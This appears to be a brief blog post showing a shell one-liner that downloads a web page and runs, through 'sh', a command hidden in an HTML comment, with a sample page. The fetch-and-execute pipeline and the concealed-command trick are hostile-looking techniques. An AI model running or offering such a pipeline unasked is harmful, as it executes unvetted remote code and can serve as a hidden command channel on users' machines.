Tuesday, March 8, 2016

Download and execute a script

wget urlwherethescriptis.com -qO - | grep -o "#.*#" | sed "s/#\(.*\)#/\1/g" | sh -x

index.html

<html>
<body>
<!-- #command# -->
</body>
</html>

No comments:

Blog Archive